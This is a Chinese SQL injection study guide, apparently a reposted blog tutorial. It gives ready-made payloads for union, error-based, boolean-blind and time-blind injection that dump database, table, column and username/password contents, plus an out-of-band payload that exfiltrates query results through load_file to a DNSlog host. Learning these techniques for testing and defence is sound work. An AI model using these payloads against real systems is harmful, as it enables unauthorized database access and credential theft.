您当前的位置: 首页 >> 热点 > >> 内容页

SQL 注入学习手册【笔记】

2023-08-13 05:37:42 来源:博客园
SQL 注入基础【若本文有问题请指正】有回显回显正常基本步骤

1. 判断注入类型

数字型 or 字符型


(相关资料图)

数字型【示例】:?id=1 字符型【示例】:?id=1"

这也是在尝试闭合原来的 sql 语句,用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \号】id=1\根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1为真?id=1 and 1=2为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释

2. 猜解 SQL 查询语句中的字段数

order by n --+【n为字段数】

3. 确定字段的回显点

上面步骤 2 猜出几个就填几个数字

union select 1,2,... --+

4. 获取当前数据库

union select database() --+

附:部分题目需要用到其他数据库的信息,可通过下面语句来显示所有数据库名

union select 1,...,schema_name from information_schema.schemata --+

5. 获取数据库中的表获取当前数据库中的表union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=database() --+

获取指定数据库中的表union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=数据库名 --+

6. 获取表中列名(字段名)

union select 1,...,group_concat(column_name) from information_schema.columns where table_name="表名" --+

获取指定数据库表中字段名union select 1,...,group_concat(column_name) from information_schema.columns where table_name=数据库名.表名 --+

7. 获取字段名的值

union select 1,...,group_concat(字段名1,字段名...) from 表名 --+

获取指定数据库表中字段内容union select 1,...,group_concat(字段名1,字段名...) from 数据库名.表名 --+

报错注入updatexml 报错注入

函数:updatexml(xml_doument,XPath_string,new_value)第一个参数:XML_document是String格式,为XML文档对象的名称第二个参数:XPath_string (Xpath格式的字符串)第三个参数:new_value,String格式,替换查找到的符合条件的数据【我们的主角是第二个参数,其他两个不用管】我们要构造一条带有 xpath 语法错误的语句,比如 0x7e【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】【最简单报错示例】and updatexml(1,0x7e,1) --+

很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat()函数拼接】【示例】下面基本步骤 3 ,第一和第三个参数随便设个 1 ,中间参数就是用 concat 将 sql 语句和 0x7e 拼接在一起

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1 字符型【示例】:?id=1"

这也是在尝试闭合原来的 sql 语句,可以用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \号】id=1\根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1为真?id=1 and 1=2为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释

2. 猜解表名and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

3. 猜解字段名and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+

4. 猜解字段内容and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+若出现内容显示不全,则可以使用 mid()函数一点一点提取出来。或者其他的截取字符的函数都可以函数格式:mid(string,start,length)字符串开始位置 截取的字符长度示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+

extractvalue 报错注入

函数:extractvalue(XML_document,xpath_string第一个参数:string格式,为XML文档对象的名称第二个参数:xpath_string(xpath格式的字符串)【只有两个参数,我们的主角是第二个参数,另外一个不用管】【基本跟 updatexml 一样,换汤不换药】我们要构造一条带有 xpath 语法错误的语句,比如 0x7e【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】【最简单报错示例】and extractvalue(1,0x7e)

很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat()函数拼接】【示例】下面基本步骤 3 ,第一个参数随便设个 1 ,中间参数就是用 concat 将 0x7e 和 sql 语句拼接在一起0x7e 在前,sql语句在后(上面 updatexml 函数顺序没要求,extractvalue 函数顺序必须对)】若出现内容显示不全,则可以使用 mid()函数一点一点提取出来。或者其他的截取字符的函数都可以函数格式:mid(string,start,length)字符串开始位置 截取的字符长度示例:【基于 xpath 的报错一次最多输出 32 个字符】and extractvalue(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users))) --+

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1 字符型【示例】:?id=1"

这也是在尝试闭合原来的 sql 语句,可以用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \号】id=1\根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1为真?id=1 and 1=2为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释

2. 猜解表名and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

3. 猜解字段名and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="表名"))) --+

4. 猜解字段内容and extractvalue(1,concat(0x7e,(select group_concat(字段1,...) from 表名))) --+

floor 报错注入

众所周知,floor() 为向下取整函数。rand() 是生成 0~1 随机数的函数,将其 *2 则生成 0~2 的随机数而 rand(0) 则生成一个固定的伪随机数只要 rand() 里面是 0 ,那么它前十个一定是这几个数然后将其 *2然后再向下取整得到这样的一个固定序列,待会会用到

MySQL 在执行 select count(*)from tables group by x这类语句时会创建一个虚拟表【key是主键,不可重复。count(*) 用于计数】看一眼待会要用的表

接着进行数据查询,首先会查看虚拟表中是否存在此数据,若存在则计数加 1(rand() 不会再次执行),否则插入数据(rand() 会再次执行)具体流程:查询第一条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作执行插入操作之前floor(rand(0)*2) 会再次执行,返回值为 1 ,所以第一步实际是往虚拟表里插入了 1接着查询第二条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1接着查询第三条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1接着查询第四条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作执行插入操作之前floor(rand(0)*2) 会再次执行,返回值为 1 ,所以这一步实际是往虚拟表里插入了 1 ,但是表中已有主键 1 ,再插入就会导致主键冲突而报错

基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1 字符型【示例】:?id=1"

这也是在尝试闭合原来的 sql 语句,可以用包括 " " )但不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \号】id=1\根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1为真?id=1 and 1=2为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释

2. 猜解 SQL 查询语句中的字段数(页面返回正常即猜解正确)

order by n --+【n为字段数】

3. 猜解数据库名union select 1,count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+

4. 猜解表名union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.tables group by x --+

5. 猜解列名(字段名)union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name=表名)) x from information_schema.tables group by x --+

6. 猜解字段的内容union select 1,count(*),concat(floor(rand(0)*2),(select concat(字段1,...) from 表名 limit 0,1)) x from information_schema.tables group by x --+若出现内容显示不全,则可以使用 mid()函数一点一点提取出来。或者其他的截取字符的函数都可以函数格式:mid(string,start,length)字符串开始位置 截取的字符长度示例:union select 1,count(*),concat(floor(rand(0)*2),(select mid(group_concat(username,password),1,32) from users)) x from information_schema.tables group by x --+

无回显盲注布尔盲注基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1 字符型【示例】:?id=1"

这也是在尝试闭合原来的 sql 语句,可以用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \号】id=1\根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1为真?id=1 and 1=2为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释

2. 猜解数据库名长度(若页面正常显示则判断正确)

and length(database()) = n --+【n为字符数】【可枚举出 n】

and length(database()) > n --+【n为字符数】可用【二分法】【下面步骤用此法】

3. 猜解数据库名(若页面正常显示则判断正确)

and ascii(substr(database(),1,1)) > n --+

and ascii(substr(database(),2,1)) > n --+【n为 ASCII 码,基本字符就前 128 个】

and ascii(substr(database(),...,1)) > n --+

对照 ASCII 码表即可将数据库名拼出ASCII码对照表

【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号

【示例】and substr(database(),...,1) = "s" --+

4.猜解数据库中表的数量(若页面正常显示则判断正确)

and (select count(table_name) from information_schema.tables where table_schema = database()) > n --+【n 为数量】

5. 猜解数据库表名长度(若页面正常显示则判断正确)

and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n --+【n 为长度】【必须要有 limit 0,1

6.猜解表名(若页面正常显示则判断正确)

猜解第一个表名

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n --+【n 为 ASCII 码】【必须要有 limit 0,1

猜解第二个表名

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > n --+【n 为 ASCII 码】【必须要有 limit 1,1

猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n --+【n 为 ASCII 码】【必须要有 limit a-1,1

7.猜解表中的字段数(若页面正常显示则判断正确)

and (select count(column_name) from information_schema.columns where table_name = "表名") > n --+【n 为数量】【表名按照上面步骤猜解出来的】

8. 猜解表中的字段名的长度(若页面正常显示则判断正确)

猜解第一个字段名的长度

and (select length(column_name) from information_schema.columns where table_name = "表名" limit 0,1) > n --+【n 为长度】【必须要有 limit 0,1

猜解第 a 个字段名的长度【下面的 a-1 就是当前为第 a 个表 -1】

and (select length(column_name) from information_schema.columns where table_name = "表名" limit a-1,1) > n --+【n 为长度】【必须要有 limit a-1,1

9. 猜解字段名(若页面正常显示则判断正确)

猜解第一个字段名

and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = "表名" limit 0,1) > n --+【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个字段名【下面的 a-1 就是当前为第 a 个表 -1】

and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = "表名" limit a-1,1) > n --+【n 为 ASCII 码】【必须要有 limit a-1,1

10. 猜解列中字段内容的长度(若页面正常显示则判断正确)

猜解第一个字段内容的长度

and (select length(字段名) from 表名 limit 0,1) > n --+【n 为长度】【必须要有 limit 0,1

猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】

and (select length(字段名) from 表名 limit a-1,1) > n --+【n 为长度】【必须要有 limit a-1,1

11. 猜解列中字段内容(若页面正常显示则判断正确)

猜解第一个字段内容

and (select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n --+【n 为 ASCII 码】【必须要有 limit 0,1

猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】

and (select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n --+【n 为 ASCII 码】【必须要有 limit a-1,1

时间盲注基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1 字符型【示例】:?id=1"

这也是在尝试闭合原来的 sql 语句,可以用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \号】id=1\根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1为真?id=1 and 1=2为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释

2. 猜解数据库名长度(若页面刷新指定秒则判断正确)and if(length(database())=n,sleep(2),0) --+【n为字符数】【可枚举出 n】

and if(length(database())>n,sleep(2),0) --+【n为字符数】可用【二分法】【下面步骤用此法】

3. 猜解数据库名(若页面刷新指定秒则判断正确)and if(ascii(substr(database(),1,1))>n,sleep(2),0) --+

and if(ascii(substr(database(),2,1))>n,sleep(2),0) > n --+【n为 ASCII 码,基本字符就前 128 个】

and if(ascii(substr(database(),...,1))>n,sleep(2),0) > n --+

对照 ASCII 码表即可将数据库名拼出ASCII码对照表

【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号

【示例】and substr(database(),...,1) = "s" --+

4. 猜解数据库中表的数量(若页面刷新指定秒则判断正确)and if((select count(table_name) from information_schema.tables where table_schema = database())>n,sleep(2),0) --+【n 为数量】

5. 猜解表名长度(若页面刷新指定秒则判断正确)and if((select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+【n 为长度】【必须要有 limit 0,1

6. 猜解表名(若页面刷新指定秒则判断正确)猜解第一个表名and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+【n 为 ASCII 码】【必须要有 limit 0,1猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n,sleep(2),0) --+【n 为 ASCII 码】【必须要有 limit a-1,1

7. 猜解表中的字段数(若页面刷新指定秒则判断正确)and if((select count(column_name) from information_schema.columns where table_name = "表名" ) > n,sleep(2),0) --+【n 为数量】【表名按照上面步骤猜解出来的】

8. 猜解字段长度(若页面刷新指定秒则判断正确)猜解第一个字段长度and if((select length(column_name) from information_schema.columns where table_name = "表名" limit 0,1) > n,sleep(2),0) --+【n 为长度】【必须要有 limit 0,1猜解第 a 个字段长度【下面的 a-1 就是当前为第 a 个表 -1】and if((select length(column_name) from information_schema.columns where table_name = "表名" limit a-1,1) > n,sleep(2),0) --+【n 为长度】【必须要有 limit a-1,1

9. 猜解字段(若页面刷新指定秒则判断正确)猜解第一个字段and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = "表名" limit 0,1) > n,sleep(2),0) --+【n 为 ASCII 码】【必须要有 limit 0,1猜解第 a 个字段【下面的 a-1 就是当前为第 a 个表 -1】and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = "表名" limit a-1,1) > n,sleep(2),0) --+【n 为 ASCII 码】【必须要有 limit a-1,1

10. 猜解字段内容的长度(若页面刷新指定秒则判断正确)猜解第一个字段内容的长度and if((select length(字段名) from 表名 limit 0,1) > n,sleep(2),0) --+【n 为长度】【必须要有 limit 0,1猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】and if((select length(字段名) from 表名 limit a-1,1) > n,sleep(2),0) --+【n 为长度】【必须要有 limit a-1,1

11. 猜解字段内容(若页面刷新指定秒则判断正确)猜解第一个字段内容and if((select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n,sleep(2),0) --+【n 为 ASCII 码】【必须要有 limit 0,1猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】and if((select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n,sleep(2),0) --+【n 为 ASCII 码】【必须要有 limit a-1,1

OOB(out of band)信息外带漏洞

需要了解 DNSlog 和 UNC 的知识,可以参考 DNSlog注入学习

基本步骤

1. 前提条件该漏洞需要修改 mysql 配置文件,在 my.ini 找到 secure_file_priv = "",若 secure_file_priv 的值不为 "" 则改为 "" ,若没有则添加即可

2. 找一个 DNSlog 平台找一些在线的或者本地搭建,此教程以 CEYE 平台为例

3. 构造 payloadand if((select load_file(concat("\\\\",database(),".你的Identifier\\abc"))),1,0) --+所以我们只需要改 database()你的Identifier即可database()填 sql 注入语句

至于如何获得Identifier首先,注册一个 ceye 的账号并登录进去按照上面 concat 出来的应该是 \\database().你的Identifier\abc,后面不一定是 abc, 可以随便填,至于为什么上面语句写四个 \ ,那是因为要转义

利用 Burp Suite 进行半自动化注入(以布尔盲注为例)基本步骤

1. 判断注入类型

数字型 or 字符型

数字型【示例】:?id=1 字符型【示例】:?id=1"

这也是在尝试闭合原来的 sql 语句,可以用包括 " " )不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符

还有一种判断闭合符方法【用 \号】id=1\根据语句报错返回的信息 \后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?【以数字型为例,字符型同理】?id=1 and 1=1为真?id=1 and 1=2为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+注释掉后面的代码如果已知为 MySQL 数据库,则可用 #号注释

2. 半自动化爆破数据库名长度先截包再发送给 Intruder 模块添加 payload 位置添加字典,开始爆破找正确答案即可

3、半自动化爆破数据库名bp抓包发送 Intruder 模块,并添加 payload添加字典,开始爆破找出正确答案往后的步骤同理

关键词:
分享到:

Copyright ©  2015-2023 今日时尚网版权所有  备案号:沪ICP备2023005074号-40   联系邮箱:5 85 59 73 @qq.com